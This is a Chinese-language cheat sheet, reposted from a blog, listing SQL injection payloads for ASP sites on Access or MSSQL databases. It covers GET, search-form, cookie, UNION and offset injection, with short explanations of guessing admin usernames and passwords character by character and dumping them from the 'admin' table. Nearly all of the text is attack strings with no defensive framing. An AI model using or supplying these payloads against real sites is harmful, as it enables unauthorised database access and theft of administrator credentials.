注入語句詳解(get注入,cookie注入,搜尋型注入等)

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注意:對於普通的get注入,如果是字元型,前加‘   後加 and ‘‘=‘ 
拆半法 
###################################### 
and exists (select * from MSysAccessObjects) 這個是判斷是不是ACC資料庫,MSysAccessObjects是ACCESS的預設表。 
and exists (select * from admin) 
and exists(select id from admin) 
and exists(select id from admin where id=1) 
and exists(select id from admin where id>1) 
然後再測試下id>1 正常則說明不止一個ID 然後再id<50 確定範圍 
and exists (select username from admin) 
and exists (select password from admin) 
and exists (select id from admin where len(username)<10 and id=1) 
and exists (select id from admin where len(username)>5 and id=1) 
and exists (select id from admin where len(username)=6 and id=1) 
and exists (select id from admin where len(password)<10 and id=1) 
and exists (select id from admin where len(password)>5 and id=1) 
and exists (select id from admin where len(password)=7 and id=1) 
and (select top 1 asc(mid(username,1,1)) from admin)=97 
返回了正常,說明第一username裡的第一位內容是ASC碼的97,也就是a。 
猜第二位把username,1,1改成username,2,1就可以了。 
猜密碼把username改成password就OK了 
################################################## 
搜尋型注入 
################################## 
%‘ and 1=1 and ‘%‘=‘ 
%‘ and exists (select * from admin) and ‘%‘=‘ 
%‘ and exists(select id from admin where id=1) and ‘%‘=‘ 
%‘ and exists (select id from admin where len(username)<10 and id=1) and ‘%‘=‘ 
%‘ and exists (select id from admin where len(password)=7 and id=1) and ‘%‘=‘ 
%‘ and (select top 1 asc(mid(username,1,1)) from admin)=97 and ‘%‘=‘ 
這裡也說明一下,搜尋型注入也無他,前加%‘ 後加 and ‘%‘=‘ 
對於MSSQL資料庫,後面可以吧 and ‘%‘=‘換成-- 
還有一點搜尋型注入也可以使用union語句。 
######################################################## 
聯集查詢。 
##################################### 
order by 10 
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin 
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1 
很簡單。有一點要說明一下,where id=1 這個是爆ID=1的管理員的時候,where id=1就是爆ID=2的管理用的,一般不加where id=1這個限制語句,應該是爆的最前面的管理員吧!(注意,管理的id是多少可不一定哈,說不定是100呢!) 
################################### 


cookie注入 
############################### 
http://www.******.com/shownews.asp?id=127 
http://www.******.com/shownews.asp 
alert(="id="+escape("127")); 
alert(="id="+escape("127 and 1=1")); 
alert(="id="+escape("127 order by 10")); 
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin")); 
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
這些東西應該都不用解釋了吧,給出語句就行了吧。這裡還是用個聯集查詢,你把它換成拆半也一樣,不過不太適合正常人使用,因為曾經有人這樣累死過。 
################################### 

位移注入 
########################################################### 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) 
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on 
a.id=d.id) 
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id) 
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 

 

 轉載自:http://tiwson.iteye.com/blog/1919349

注入語句詳解(get注入,cookie注入,搜尋型注入等)

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